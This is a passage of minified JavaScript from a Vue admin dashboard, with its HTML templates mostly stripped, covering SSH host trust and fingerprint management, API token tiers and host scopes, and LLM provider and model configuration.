`,setup(){const e=f([]),t=f(!1),s=f(""),a=f([]),n=f(!1),i=f(!1),l=f(1),o=f(""),r=f(!1),c=f(null),d=f(""),u=f([]),p=f(!1),m=f(null),h=f(""),y=()=>({alias:"",address:"",port:22,ssh_user:"root",os:"linux",description:"",trust_mode:"pinned",enabled:!0,confirm_local:!1,confirm_tofu:!1}),k=f(y()),A=B(()=>["127.0.0.1","localhost","::1"].includes(k.value.address));async function g(){t.value=!0,s.value="";try{const ee=await z.get("/api/hosts");e.value=ee.hosts||[],o.value=ee.default_host||"",r.value=!!ee.tofu_enabled}catch(ee){s.value=ee.message}finally{t.value=!1}}async function b(){try{await z.post("/api/hosts/settings",{default_host:o.value,allow_host_tofu:r.value}),Se.success("Host settings saved and published live"),await g()}catch(ee){Se.error(ee.message)}}function x(){d.value="",u.value=[],p.value=!1,m.value=null,c.value=null,h.value="",l.value=1,n.value=!0}function w(){i.value=!1,k.value=y(),x()}function _(ee){i.value=!0,k.value={...y(),...ee},x()}async function T(){try{c.value=await z.get("/api/hosts/public-key")}catch(ee){Se.error(ee.message)}}async function L(ee){try{const N=await z.post("/api/hosts/"+encodeURIComponent(ee.alias)+"/import-legacy",{});i.value=!0,k.value={...y(),...ee,trust_mode:"pinned"},x(),d.value=N.candidate_token,u.value=N.fingerprints||[],h.value=u.value.join(` -`),l.value=4,Se.info("Imported existing known_hosts trust. Test before activation.")}catch(N){Se.error(N.message)}}async function E(){try{const ee=h.value.split(/\s+/).filter(Boolean),N={...k.value,expected_fingerprints:ee,candidate_fingerprints:u.value},M=await z.post("/api/hosts/candidates",N);if(d.value=M.candidate_token,u.value=M.fingerprints||[],k.value.trust_mode==="tofu"&&N.candidate_fingerprints.length===0){k.value.confirm_tofu=!1,Se.info("Fingerprint scanned. Review it, tick confirmation, then scan again.");return}l.value=4}catch(ee){Se.error(ee.message)}}async function F(){var ee,N;p.value=!1,m.value=null;try{const M=await z.post("/api/hosts/candidates/"+d.value+"/test",{});p.value=!!M.tested,m.value=M.last_test,p.value&&(l.value=5)}catch(M){const $=(ee=M.data)==null?void 0:ee.last_test;$&&typeof $=="object"&&!Array.isArray($)&&(m.value=$);const re=(N=m.value)==null?void 0:N.detail;Se.error(typeof re=="string"&&re.trim()?re:M.message)}}async function O(){try{await z.post("/api/hosts/candidates/"+d.value+"/commit",{}),Se.success("Host saved and published live"),n.value=!1,await g()}catch(ee){Se.error(ee.message)}}async function I(ee){try{await z.post("/api/hosts/"+encodeURIComponent(ee.alias)+"/enabled",{enabled:!ee.enabled}),await g()}catch(N){Se.error(N.message)}}async function H(ee){var N;if(await is("Delete host "+ee.alias+"? Dependencies will block deletion.")){a.value=[];try{await z.del("/api/hosts/"+encodeURIComponent(ee.alias)),await g()}catch(M){a.value=Array.isArray((N=M.data)==null?void 0:N.pending_references)?M.data.pending_references:[],Se.error(M.message)}}}async function te(ee){if(await is("Force revoke "+ee.alias+"? Remote outcomes may be unknown."))try{await z.post("/api/hosts/"+encodeURIComponent(ee.alias)+"/force-revoke",{}),await g()}catch(N){Se.error(N.message)}}return st(g),{hosts:e,loading:t,error:s,pendingReferences:a,wizard:n,editing:i,step:l,defaultHost:o,tofuEnabled:r,form:k,isLocal:A,keyInfo:c,candidate:d,observed:u,tested:p,testResult:m,fingerprintsText:h,load:g,saveSettings:b,beginAdd:w,beginEdit:_,loadKey:T,importLegacy:L,prepare:E,testConnection:F,commit:O,toggle:I,remove:H,forceRevoke:te}}},ZC={components:{DiscordIdentity:Dn},template:` -
-
-

API Tokens

- -
-

- Manage API tokens for programmatic access, orchestrators, and web-chat identity. - Each token has its own user identity, permission tier, and host access scope. -

- -
-
-
-
-

{{ error }}

- -
- -
- - - -
-
- Token Created - -
-

Copy this token now. It will not be shown again.

-
- {{ newToken }} - -
-
- - -
-
-

Create Token

- -
-
-
-
- -
-
- -
-
- -
-
- -
-
-
- -
- -
-
-
- -

Used when API requests don't specify a host.

-
-
- -
-
- -
-
-
- - -
-

Active Tokens

-
- No API tokens configured. -
-
- - - - - - - - - - - - - - - - - - - - - - - - - - -
User IDLabelTierHostsDefaultToolsSourceActions
{{ t.label || '—' }} - {{ t.tier }} - - {{ t.allowed_hosts === null || t.allowed_hosts === undefined ? 'default policy' : t.allowed_hosts.length === 0 ? 'no host access' : t.allowed_hosts.join(', ') }} - - {{ t.default_host || 'policy' }} - - {{ t.allowed_tools && t.allowed_tools.length ? t.allowed_tools.length + ' tools' : 'tier default' }} - - - {{ t.source === 'config' ? 'config.yml' : 'dynamic' }} - - - - - - read-only
-
-
- - - -
- -
- `,setup(){const e=f(!0),t=f(""),s=f(null),a=f([]),n=f([]),i=f("missing"),l=f(!1),o=f(!1),r=f(null),c=f(null),d=f(!1);async function u(O){var I;try{await z._request("DELETE","/api/tokens/unusable/"+O.index,{reason:O.reason,...O.user_id===void 0?{}:{user_id:O.user_id}}),Se.success("Unusable token entry removed"),await A()}catch(H){Se.error(((I=H.data)==null?void 0:I.error)||H.message||"Failed to remove unusable token")}}const p=f({user_id:"",username:"",tier:"admin",label:"",host_mode:"default",allowed_hosts:[],default_host:"",allowed_tools_str:""}),m=f({username:"",tier:"admin",label:"",host_mode:"default",allowed_hosts:[],default_host:"",allowed_tools_str:""}),h=B(()=>p.value.host_mode==="select"?p.value.allowed_hosts:p.value.host_mode==="none"?[]:a.value),y=B(()=>m.value.host_mode==="select"?m.value.allowed_hosts:m.value.host_mode==="none"?[]:a.value);function k(O){return O==="admin"?"text-xs px-1.5 py-0.5 rounded bg-red-900/50 text-red-400":O==="user"?"text-xs px-1.5 py-0.5 rounded bg-blue-900/50 text-blue-400":"text-xs px-1.5 py-0.5 rounded bg-gray-700 text-gray-400"}async function A(){e.value=!0,t.value="";try{const O=await z.get("/api/tokens");s.value=O.tokens||[],a.value=O.available_hosts||[],n.value=O.invalid_entries||[],i.value=O.store_status||"missing"}catch(O){t.value=O.message||"Failed to load tokens"}finally{e.value=!1}}function g(O){return!O||!O.trim()?[]:O.split(",").map(I=>I.trim()).filter(Boolean)}function b(O,I){const H=p.value.allowed_hosts;if(I&&!H.includes(O)&&H.push(O),!I){const te=H.indexOf(O);te>=0&&H.splice(te,1)}}function x(O,I){const H=m.value.allowed_hosts;if(I&&!H.includes(O)&&H.push(O),!I){const te=H.indexOf(O);te>=0&&H.splice(te,1)}}async function w(){var O;o.value=!0;try{const I=g(p.value.allowed_tools_str),H=p.value.host_mode,te=H==="none"?[]:H==="select"?p.value.allowed_hosts:null,ee={user_id:p.value.user_id.trim(),username:p.value.username.trim()||"API",tier:p.value.tier,label:p.value.label.trim(),allowed_tools:I.length?I:[]};te!==null&&(ee.allowed_hosts=te),ee.default_host=p.value.default_host||"";const N=await z.post("/api/tokens",ee);r.value=N.token,p.value={user_id:"",username:"",tier:"admin",label:"",host_mode:"default",allowed_hosts:[],default_host:"",allowed_tools_str:""},l.value=!1,Se.success("Token created"),await A()}catch(I){Se.error(((O=I.data)==null?void 0:O.error)||I.message||"Failed to create token")}finally{o.value=!1}}function _(O){c.value=O;const I=O.allowed_hosts;let H="default";I==null?H="default":Array.isArray(I)&&I.length===0?H="none":Array.isArray(I)&&(H="select"),m.value={username:O.username||"",tier:O.tier||"admin",label:O.label||"",host_mode:H,allowed_hosts:Array.isArray(I)?[...I]:[],default_host:O.default_host||"",allowed_tools_str:(O.allowed_tools||[]).join(", ")}}async function T(){var O;if(c.value){d.value=!0;try{const I=g(m.value.allowed_tools_str),H=m.value.host_mode,te={username:m.value.username,tier:m.value.tier,label:m.value.label,allowed_tools:I};H==="none"?te.allowed_hosts=[]:H==="select"?te.allowed_hosts=m.value.allowed_hosts:te.allowed_hosts=null,te.default_host=m.value.default_host||"",await z.put("/api/tokens/"+encodeURIComponent(c.value.user_id),te),c.value=null,Se.success("Token updated"),await A()}catch(I){Se.error(((O=I.data)==null?void 0:O.error)||I.message||"Failed to update")}finally{d.value=!1}}}async function L(O){var H;if(await is({title:"Regenerate token",message:`Regenerate token for ${O.username||O.user_id}? The old token will stop working immediately.`,confirmLabel:"Regenerate",danger:!0}))try{const te=await z.post("/api/tokens/"+encodeURIComponent(O.user_id)+"/regenerate");r.value=te.token,Se.success("Token regenerated")}catch(te){Se.error(((H=te.data)==null?void 0:H.error)||te.message||"Failed to regenerate")}}async function E(O){var H;if(await is({title:"Delete token",message:`Delete token for ${O.username||O.user_id}? This cannot be undone.`,confirmLabel:"Delete",danger:!0}))try{await z.del("/api/tokens/"+encodeURIComponent(O.user_id)),Se.success("Token deleted"),await A()}catch(te){Se.error(((H=te.data)==null?void 0:H.error)||te.message||"Failed to delete")}}async function F(){if(r.value)try{await navigator.clipboard.writeText(r.value),Se.success("Copied to clipboard")}catch{Se.error("Copy failed — select and copy manually")}}return st(A),{loading:e,error:t,tokens:s,availableHosts:a,invalidEntries:n,storeStatus:i,showCreate:l,creating:o,newToken:r,editing:c,saving:d,createForm:p,editForm:m,removeUnusable:u,createDefaultHostOptions:h,editDefaultHostOptions:y,fetchData:A,tierBadge:k,toggleCreateHost:b,toggleEditHost:x,createToken:w,startEdit:_,saveEdit:T,confirmRegenerate:L,confirmDelete:E,copyToken:F}}};function QC(e,t=()=>"unknown"){const s=e==null?void 0:e.quota;return!s||typeof s!="object"?[]:["primary","secondary"].flatMap(a=>{const n=s[a],i=Number(n==null?void 0:n.used_percent),l=Number(n==null?void 0:n.window_minutes);if(!n||!Number.isFinite(i)||i<0||!Number.isFinite(l)||l<=0)return[];let o;return l===300?o="5-hour usage limit":l===10080?o="Weekly usage limit":Number.isFinite(l)&&l>0?o=l<60?`${l}-minute usage limit`:l<1440?`${Math.round(l/60)}-hour usage limit`:`${Math.round(l/1440)}-day usage limit`:o=a==="primary"?"Primary usage limit":"Secondary usage limit",[{key:a,label:o,remaining:Math.round(Math.max(0,Math.min(100,100-i))),limitReached:i>=100,statusLabel:i>=100?"Limit reached":"",resetLabel:n.resets_at==null?"unknown":t(n.resets_at)}]})}function YC(e){return!!(e!=null&&e.quota_check_failed)}const XC=Object.freeze(["enabled","model","reasoning_effort","agent_reasoning_effort"]),eT=Object.freeze(["request_timeout_seconds","stream_stall_timeout_seconds","retry","connection_pool","context_compression","context_budget_overrides","context_utilization"]),tT=Object.freeze(["enabled","base_url","model","max_tokens","num_ctx"]),sT=Object.freeze(["enabled","base_url","model","reasoning_effort"]);function yo(e,t){return Object.fromEntries(t.map(s=>[s,e[s]]))}function bl(e,t={}){const s=yo(e,sT);return t.includeApiKey&&(s.api_key=e.api_key),s}function Ko(e){return yo(e,["request_timeout_seconds","stream_stall_timeout_seconds","preset","model_profiles","context_utilization","openrouter"])}function yl(e){return yo(e,XC)}function xl(e){return yo(e,eT)}function _l(e,{includeApiKey:t=!1}={}){const s=yo(e,tT);return t&&(s.api_key=e.api_key),s}function Jo(e){return{timeout:e.timeout}}function Zo(e,t=500){let s=null;const a=(...n)=>{s&&clearTimeout(s),s=setTimeout(()=>{s=null,e(...n)},t)};return a.pending=()=>s!==null,a.cancel=()=>{s&&(clearTimeout(s),s=null)},a}const aT={template:` -
-
-
-

LLM Configuration

-

Provider routing, model selection, credentials, and Codex accounts.

-

Serving through Codex

-

Serving through OpenAI-compatible

-

Serving through Ollama

-

Selected model is unavailable

-
- -
- -
-
-
- -
- - -
-

Model Selection

-

Enabled providers supply model choices. Unavailable saved selections are retained until you choose another model.

-
-
- -
-
- -

Main model is configured on a disabled provider. Enable that provider below or choose another model.

- - -
-
- -

Agent model is configured on a disabled provider. Enable that provider below or choose another model.

- - - -
-

- Per-spawn reasoning: none / low / medium / high / xhigh / max. Each choice maps to the selected model's native capability; omission uses its allowlist default. -

- -

{{ allowlistSummary }} · Used when Agent model is Auto

-
- - - -
-
- -

Auxiliary model is configured on a disabled provider. Enable that provider below or choose another model.

-

Used for compaction, reflection, consolidation, and background follow-up. Its output feeds sessions and memory, so choose deliberately.

-
-
-
- - -
-
-

Codex (OpenAI)

-
-
- Connected -
- -
-
- -
- {{ auxData.unavailable_reason }} -
-
- - Advanced Settings - Transport, retries, and model-aware context policy - -
-
-
TransportRequest lifecycle limits
- - -
-
-
Retry policyTransient request failures
- - - -
-
-
Connection poolShared Codex HTTP transport
-

- Saved values need a restart. This process still uses {{ llmStatus.codex.effective_connection_pool?.max_connections }} connections with {{ llmStatus.codex.effective_connection_pool?.keepalive_timeout }}s keepalive. -

-

- Saved values match this process. Future changes take effect after restart. -

-

Future changes take effect after restart; current process values are unavailable.

- - -
-
-
Context compressionLong-conversation compaction
-

- Saved values need a restart. This process still uses compression {{ llmStatus.codex.effective_context_compression?.enabled ? 'on' : 'off' }}, {{ formatContextCeiling(llmStatus.codex.effective_context_compression?.max_context_chars) }}, and {{ llmStatus.codex.effective_context_compression?.keep_recent_iterations }} recent iterations. -

-

- Saved values match this process. Future changes take effect after restart. -

-

Future changes take effect after restart; current process values are unavailable.

- - - -
-
-
-
- Context budgets - Capability, working-set policy, and temporary evidence -
- -
-

- Overrides describe usable input capability. Utilization is the working-set policy applied to larger models; budgets at or below 272,000 tokens keep legacy behavior. Learned clamps are temporary evidence from successful overflow recovery, not operator policy. -

-
- Loading context budgets… -
- - -
- -
-
-
-

Authentication

-

- OAuth credentials for ChatGPT subscription. Supports automatic refresh and pool rotation. -

- -
-
-
-
- {{ codexError }} - -
- -
- -
- No Codex credentials configured. Use the device login below or run - python scripts/codex_login.py -
-
- {{ codexData.account_count }} account{{ codexData.account_count !== 1 ? 's' : '' }} configured, - active: #{{ codexData.current_index + 1 }} -
- - -
-
- - - - - - - - - - - - - - - - - - - - - - - - - -
#LabelEmailPlanQuotaStatusActiveActions
{{ a.index + 1 }} - - - - - - - {{ a.email || '—' }} - - {{ a.plan_type }} - - — - -
-
-
- {{ block.label }} - {{ block.remaining }}% remaining -
-
-
-
- - {{ block.statusLabel ? block.statusLabel + ' · ' : '' }}Resets {{ block.resetLabel }} - -
-
- Quota check failed - — - - checked {{ quotaAge(a.quota.observed_at) }} ago - -
- Error - Expired - Rate limited - Active - - Current - - - - -
-
-
- - -
-
-

Add Account (Device Login)

- -
-
-
-
-

1. Open: {{ deviceInfo.verify_url }}

-

2. Enter code: {{ deviceInfo.user_code }}

-
-
-
Waiting...
- -
-
-
-

Authenticated as {{ deviceResult.email }}.

- -
-
-

{{ deviceError }}

- -
-
-
-
-
- -
-

Additional providers

Connect compatible endpoints or Ollama. Their models appear above automatically.

- -
-
-

OpenAI-compatible endpoint

-
-
Status unavailable
-
- Connected - Unreachable -
- -
-
-
-
- -

{{ compatibleCatalogueStatus }}

-
-
- API Key -
- Configured - -
-
-
-
-
-
- Advanced SettingsStreaming timeouts -
-
- - -
-
- -
-
-
OpenRouter provider preferencesOrder uses lowercase endpoint tags, never display names. A per-model pin is preferred; disable fallbacks below to make it a hard pin.
- - - - - - -

require_parameters is always sent when tools or reasoning are present. Measured cached-token ratios appear in the selected model list after real calls.

-
- -
-
-
- {{ compatibleStatus.health.error }} -
-
- - -
-
-

Ollama (Local/Remote)

-
-
Status unavailable
-
- Connected - Unreachable -
- -
-
-
-
- -
-
- -
-
- -

Prompt tokens sent as Ollama num_ctx. Higher values require more host memory.

-
-
- -
-
- -
-
-
- Advanced SettingsProvider request timeout -
-
- -
- -
-
-
- {{ ollamaStatus.health.error }} -
-
-
-
- -
- `,setup(){const e=f(!0),t=f(null),s=15e3;let a=null,n=!1,i=null,l=null,o=!1;const r={codexBasic:null,codexAdvanced:null,ollamaBasic:null,ollamaAdvanced:null,compatibleBasic:null,compatibleAdvanced:null,auxiliary:null,mainModel:null,agents:null},c=v=>JSON.stringify(v),d=(v,R)=>{r[v]=c(R)},u=(v,R)=>r[v]!==null&&r[v]!==c(R),p=f(null),m=f(!1),h=f({main:"",main_capability:"medium",agent_capability:"adaptive"}),y=f(""),k=["none","low","medium","high","xhigh","max"],A=["none","low","medium","high","xhigh","max"],g=f({enabled:!1,model:"gpt-6.1-sol",reasoning_effort:"xhigh",agent_reasoning_effort:"auto",request_timeout_seconds:3600,stream_stall_timeout_seconds:180,retry:{max_retries:3,base_delay:1,max_delay:30},connection_pool:{max_connections:10,keepalive_timeout:30},context_compression:{enabled:!0,max_context_chars:null,keep_recent_iterations:30},context_budget_overrides:{},context_utilization:60}),b=["gpt-6-astra","gpt-6.1-sol","gpt-6-sol","gpt-6-luna","gpt-5.6-sol","gpt-5.6-terra","gpt-5.6-luna"],x=v=>!v||v==="auto"?null:v.startsWith("compat:")?"compat":v.startsWith("ollama:")?"ollama":v.includes(":")?null:"codex",w=v=>{var R,q;return((q=(R=p.value)==null?void 0:R[v==="compat"?"openai_compatible":v])==null?void 0:q.enabled)===!0},_=B(()=>w("codex")&&!w("compat")&&!w("ollama")),T=v=>{const R=v==="main"?h.value.main:v==="agent"?Fe.value.model:X.value.enabled?X.value.model:"";return L(R)},L=v=>{var q,ye;const R=x(v);return!!(R&&((ye=(q=p.value)==null?void 0:q[R==="compat"?"openai_compatible":R])==null?void 0:ye.enabled)===!1)},E=v=>{var q;const R=v==="main"?h.value.main:v==="agent"?Fe.value.model:X.value.model;return`Configured: ${((q=I.value.find(ye=>ye.ref===R))==null?void 0:q.name)||R.replace(/^(compat|ollama):/,"")} (provider disabled)`},F=v=>{var Ne,rt;const R=[],q=x(((Ne=p.value)==null?void 0:Ne.main_model)||h.value.main);q===v&&R.push("Main"),(Fe.value.model===""?q:x(Fe.value.model))===v&&R.push("Agent");const ye=((rt=p.value)==null?void 0:rt.auxiliary)||X.value;return ye.enabled&&x(ye.model)===v&&R.push("Auxiliary"),Fe.value.model==="auto"&&ot.value.filter(Lt=>x(Lt)!==v).map(Lt=>I.value.find(wa=>wa.ref===Lt)).filter(Lt=>Lt&&N(Lt)&&!(Lt.provider==="compat"&&ut.value&&!Lt.ref.slice(7).includes("/"))).length===0&&R.push("Agent Auto (zero effective choices)"),R};async function O(v,R){if(R!==!1||!w(v))return!0;const q=F(v);return is({title:`Disable ${v==="compat"?"OpenAI-compatible":v==="codex"?"Codex":"Ollama"}?`,message:`${q.length?`This provider is used by ${q.join(", ")}. `:""}Saved selections and ranked allowlist entries remain configured, not replaced. Continue?`,confirmLabel:"Disable provider",danger:!0})}const I=B(()=>{var wa,xn,at,Kt;const v=p.value||{},R=v.model_catalogue||v.model_catalog||{},q=Pe=>{var Ft,pt,ka;return((Ft=W.value.model_profiles)==null?void 0:Ft[Pe])||((ka=(pt=W.value.openrouter)==null?void 0:pt.catalogue_profiles)==null?void 0:ka[Pe])||null},ye=(Pe,Ft,pt)=>Ft.map(ka=>{var fp,mp;const Ac=typeof ka=="string"?ka:ka.name,Sa=Pe==="compat"?q(Ac):null;return{ref:Pe==="codex"?ka:`${Pe}:${Ac}`,name:Ac,provider:Pe,available:!!(pt!=null&&pt.enabled&&(Pe==="codex"?pt.configured:(fp=pt.health)!=null&&fp.healthy)),unavailable_reason:pt!=null&&pt.enabled?pt!=null&&pt.configured?!((mp=pt==null?void 0:pt.health)!=null&&mp.healthy)&&Pe!=="codex"?"unreachable":"":"not configured":"disabled",capability:Pe==="codex"||Sa!=null&&Sa.supports_reasoning?"reasoning":Sa!=null&&Sa.supports_thinking_mode?"thinking":"none",efforts:Sa==null?void 0:Sa.supported_efforts,profile:Sa}}),Ne=[...R.codex||ye("codex",b,v.codex),...R.compat||R.openai_compatible||[],...R.ollama||ye("ollama",zt.value,v.ollama)].map(Pe=>typeof Pe=="string"?{ref:Pe,name:Pe,provider:"codex",available:w("codex"),capability:"reasoning"}:{...Pe,available:w(Pe.provider)&&Pe.available,unavailable_reason:w(Pe.provider)?Pe.unavailable_reason:"disabled"}),rt=Pe=>{const Ft=Ne.findIndex(pt=>pt.ref===Pe.ref);if(Ft===-1)Ne.push(Pe);else{const pt=Ne[Ft];Ne[Ft]={...pt,...Pe,available:pt.available,unavailable_reason:pt.unavailable_reason,agent_available:pt.agent_available}}};for(const Pe of ye("compat",Es.value,v.openai_compatible))rt(Pe);if(As.value&&xa.value.length)for(const Pe of xa.value){const Ft=`compat:${Pe.id}`;rt({ref:Ft,name:Pe.name||Pe.id,provider:"compat",available:((wa=Ne.find(pt=>pt.ref===Ft))==null?void 0:wa.available)??!1,unavailable_reason:(xn=Ne.find(pt=>pt.ref===Ft))!=null&&xn.available?"":((at=Ne.find(pt=>pt.ref===Ft))==null?void 0:at.unavailable_reason)||"unavailable",capability:Pe.supports_reasoning?"reasoning":"none",efforts:k.filter(pt=>{var ka;return(ka=Pe.supported_efforts)==null?void 0:ka.includes(pt)}),agent_available:!!(Pe.agent_eligible&&Pe.profile&&((Kt=Ne.find(pt=>pt.ref===Ft))==null?void 0:Kt.agent_available)===!0),agent_unavailable_reason:Pe.agent_unavailable_reason||""})}const Lt=new Set(Ne.map(Pe=>Pe.ref));for(const Pe of[h.value.main,Fe.value.model,...X.value.enabled?[X.value.model]:[],...ot.value])if(Pe&&Pe!=="auto"&&!Lt.has(Pe)&&x(Pe)){const Ft=x(Pe);Ne.unshift({ref:Pe,name:Pe.replace(/^(compat|ollama):/,""),provider:Ft,available:!1,unavailable_reason:w(Ft)?"unavailable":"disabled",capability:Ft==="codex"?"reasoning":"none"}),Lt.add(Pe)}return Ne.filter(Pe=>!ut.value||Pe.provider!=="compat"||Pe.ref.slice(7).includes("/")||[h.value.main,Fe.value.model,X.value.enabled&&X.value.model,...ot.value].includes(Pe.ref)).map(Pe=>Pe.efforts?{...Pe,efforts:k.filter(Ft=>Pe.efforts.includes(Ft)&&!G(Pe.ref,Ft))}:Pe)}),H=()=>[h.value.main,Fe.value.model,X.value.enabled&&X.value.model],te=B(()=>[["codex","Codex"],["compat","OpenAI-compatible"],["ollama","Ollama"]].filter(([v])=>w(v)).map(([v,R])=>({id:v,label:R,models:I.value.filter(q=>{if(q.provider!==v||L(q.ref)&&H().includes(q.ref))return!1;const ye=_.value?"":y.value.trim().toLowerCase();return!ye||`${q.name} ${q.ref}`.toLowerCase().includes(ye)})})).filter(v=>v.models.length)),ee=B(()=>{var v;return((v=te.value.find(R=>R.id==="codex"))==null?void 0:v.models)||[]}),N=v=>w(v.provider)&&v.available&&v.agent_available!==!1,M=v=>v.available?`${v.name}${v.agent_available===!1?` (${v.agent_unavailable_reason||"not agent-eligible"})`:""}`:Y(v),$=B(()=>[["codex","Codex"],["compat","OpenAI-compatible"],["ollama","Ollama"]].filter(([v])=>w(v)).map(([v,R])=>({id:v,label:R,models:I.value.filter(q=>q.provider===v&&!(v==="compat"&&ut.value)&&`${q.ref} ${q.name}`.toLowerCase().includes(Pn.value.trim().toLowerCase()))})).filter(v=>v.models.length)),re=B(()=>I.value.find(v=>v.ref===h.value.main)),ce=B(()=>I.value.find(v=>v.ref===Fe.value.model)),Z=v=>I.value.find(R=>R.ref===v),Q=v=>{const R=Z(v);return(R==null?void 0:R.provider)==="codex"?k.filter(q=>!G(v,q)):(R==null?void 0:R.efforts)||[]},ae=v=>Ge.value.find(R=>qe(R)===v),V=(v,R)=>{const q=ae(v);return typeof q=="string"?"":(q==null?void 0:q[R])||""},be=B(()=>ot.value.map(v=>Z(v)).filter(v=>v&&N(v)&&!(v.provider==="compat"&&ut.value&&!v.ref.slice(7).includes("/")))),Oe=B(()=>[...new Set(be.value.map(v=>v.capability!=="reasoning"?v.capability||"none":v.provider==="codex"?"codex_reasoning":"compatible_reasoning"))]),le=B(()=>Oe.value.length>1),oe=B(()=>{var R;if(Fe.value.model!=="auto")return((R=ce.value)==null?void 0:R.capability)||"none";if(le.value)return"mixed";const v=Oe.value[0]||"none";return v.endsWith("_reasoning")?"reasoning":v}),ve=B(()=>{var v;return Fe.value.model==="auto"?k:((v=ce.value)==null?void 0:v.efforts)||k}),j=B(()=>oe.value==="thinking"?Fe.value.thinking_mode??g.value.agent_reasoning_effort??"":g.value.agent_reasoning_effort??""),Y=v=>`${v.name}${v.available?"":` (${v.unavailable_reason||"unavailable"})`}`,xe=B(()=>{const v=g.value.model;return v&&!b.includes(v)?[v,...b]:b}),S=B(()=>{const v=Fe.value.model;return v&&v!=="auto"&&!b.includes(v)?[v,...b]:b}),P={"gpt-5.4":["max"],"gpt-5.4-mini":["max"],"gpt-6-astra":["none"],"gpt-6.1-sol":["none"]},G=(v,R)=>!!v&&!!R&&(P[v]||[]).includes(R),he=B(()=>{const v=Fe.value.model;return v&&!v.includes(":")?v:null}),fe=v=>!G(g.value.model,v)&&!(g.value.agent_reasoning_effort===""&&G(he.value,v)),me=v=>{const R=Fe.value.model;return R==="auto"?!0:!G(R||g.value.model,v)},we=B(()=>{const v=g.value.agent_reasoning_effort;return v==="auto"?null:v||g.value.reasoning_effort}),J=v=>G(v,g.value.reasoning_effort)||Fe.value.model===""&&G(v,we.value),ie=v=>G(v,we.value),X=f({enabled:!1,model:"gpt-6-luna"}),_e=f({unavailable_reason:null}),U=B(()=>{const v=X.value.model;return v&&!b.includes(v)?[v,...b]:b});function de(v){const R=v.target.value;X.value.enabled=R!=="",R!==""&&(X.value.model=R),R.startsWith("compat:")&&ut.value?nl(il(R),Co(R)).then(()=>Un()).catch(q=>He(q.message||"Failed to prepare OpenRouter model","error")):Un()}const ge=f(!1),Ae=f({codex:!1,ollama:!1,compatible:!1}),$e=f(null),We=f(!1),je=f(""),Xe=f(null),it=f(!1);let Qe=0;const se=B(()=>{var v;return Object.entries(((v=$e.value)==null?void 0:v.models)||{}).map(([R,q])=>{var ye,Ne,rt;return{model:R,floor:q.floor,override:q.override,effectiveBudget:(ye=q.effective)==null?void 0:ye.effective_budget,configuredPrimaryChars:(Ne=q.configured)==null?void 0:Ne.primary_chars,primaryChars:(rt=q.effective)==null?void 0:rt.primary_chars,provenance:q.provenance,clampExpiresAt:q.clamp_expires_at,densityPriorMilli:q.density_prior_milli,densityScope:q.density_scope,workloadCalibration:q.workload_calibration}})}),Re=B(()=>{var v;return((v=$e.value)==null?void 0:v.clamps)||[]}),Le=B(()=>{var v,R;return((R=(v=$e.value)==null?void 0:v.models)==null?void 0:R[g.value.model])||null}),Te=f({enabled:!1,base_url:"",model:"",api_key:"",max_tokens:4096,num_ctx:32768,timeout:300}),W=f({enabled:!1,base_url:"https://api.deepseek.com/v1",api_key:"",model:"deepseek-v4-flash",request_timeout_seconds:3600,stream_stall_timeout_seconds:180,preset:"deepseek",reasoning_effort:"medium",model_profiles:{},context_utilization:75,openrouter:{order:[],allow_fallbacks:!0,quantizations:[],sort:null,data_collection:null,reasoning_effort:"medium",model_pins:{},catalogue_profiles:{}}}),De=f(!1),ze=f(!1),Ye=f(!1),Dt=f(!1),et=f(!1),Rt=f(!1);function Pt(){var R,q,ye;return!!(((R=t.value)==null?void 0:R.contains(document.activeElement))&&((ye=(q=document.activeElement)==null?void 0:q.matches)==null?void 0:ye.call(q,'input, textarea, select, [contenteditable="true"]'))||ue.value||To.value!==null||it.value||De.value||ze.value||Ce.value||Ye.value||Dt.value||et.value||ge.value||gi.pending()||bi.pending()||zn.pending()||Un.pending()||u("codexBasic",yl(g.value))||u("codexAdvanced",xl(g.value))||u("ollamaBasic",_l(Te.value))||u("ollamaAdvanced",Jo(Te.value))||u("compatibleBasic",bl(W.value))||u("compatibleAdvanced",Ko(W.value))||u("auxiliary",X.value)||u("mainModel",h.value.main)||u("agents",Fe.value))}function Ts(){r.codexBasic=c(yl(g.value)),r.codexAdvanced=c(xl(g.value)),r.ollamaBasic=c(_l(Te.value)),r.ollamaAdvanced=c(Jo(Te.value)),r.compatibleBasic=c(bl(W.value)),r.compatibleAdvanced=c(Ko(W.value)),r.auxiliary=c(X.value),r.mainModel=c(h.value.main)}const Vs=f({configured:null}),Gs=f(!1),zt=f([]),ta=f(""),Ws=f(!1),Pa=f(!1),hs=f({configured:null}),$a=f(!1),Es=f([]),Ct=B(()=>ut.value?xa.value.map(v=>v.id):Es.value),ls=f(""),sa=f(!1),ba=f(!1),Fe=f({model:"auto",thinking_mode:null,auto_model_allowlist:[]}),ue=f(!1),Ce=f(!1),qe=v=>typeof v=="string"?v:v==null?void 0:v.model,Ge=B(()=>(Fe.value.auto_model_allowlist||[]).map(v=>typeof v=="string"?v:{...v}).filter(v=>qe(v))),It=B(()=>{var v,R,q,ye;if(!w("codex")&&w("compat")){const Ne=(R=(v=p.value)==null?void 0:v.openai_compatible)==null?void 0:R.model;return Ne?[`compat:${Ne}`]:[]}if(!w("codex")&&!w("compat")&&w("ollama")){const Ne=(ye=(q=p.value)==null?void 0:q.ollama)==null?void 0:ye.model;return Ne?[`ollama:${Ne}`]:[]}return w("codex")?b:[]}),ot=B(()=>Ge.value.length?Ge.value.map(qe):It.value),pn=B(()=>be.value.length),pi=B(()=>{var v;return`${(v=Fe.value.auto_model_allowlist)!=null&&v.length?"Allowlist":"Default"}: ${ot.value.length} configured, ${pn.value} effective models`}),Fa=new Map;function fi(){ue.value=!1,So()}const Ba=v=>{const R=x(v);if(R&&!w(R))return"provider disabled";if(ut.value&&v.startsWith("compat:")&&!v.slice(7).includes("/"))return"OpenRouter requires a namespaced vendor/model ID; this is a direct-endpoint profile.";const q=I.value.find(ye=>ye.ref===v);return q?N(q)&&!(q.provider==="compat"&&ut.value&&!v.slice(7).includes("/"))?"":q.agent_unavailable_reason||q.unavailable_reason||"Not agent-eligible":"Model is absent from the current endpoint catalogue."},fn=v=>{if(gn.value.has(v))return Fn(v);const R=I.value.find(ye=>ye.ref===v),q=(R==null?void 0:R.hint_metadata)||{};return[q.hint||q.hint_derived,q.as_of&&`as of ${q.as_of}`,q.scope_note,q.evidence&&`Evidence: ${q.evidence}`,R&&ap(R)].filter(Boolean).join(" · ")||"No catalogue hint. Add an operator hint below."},kt=f(null),$s=f(!1),Wt=f("");let ya=0;const xa=B(()=>{var v;return(((v=kt.value)==null?void 0:v.models)||[]).map(R=>{var 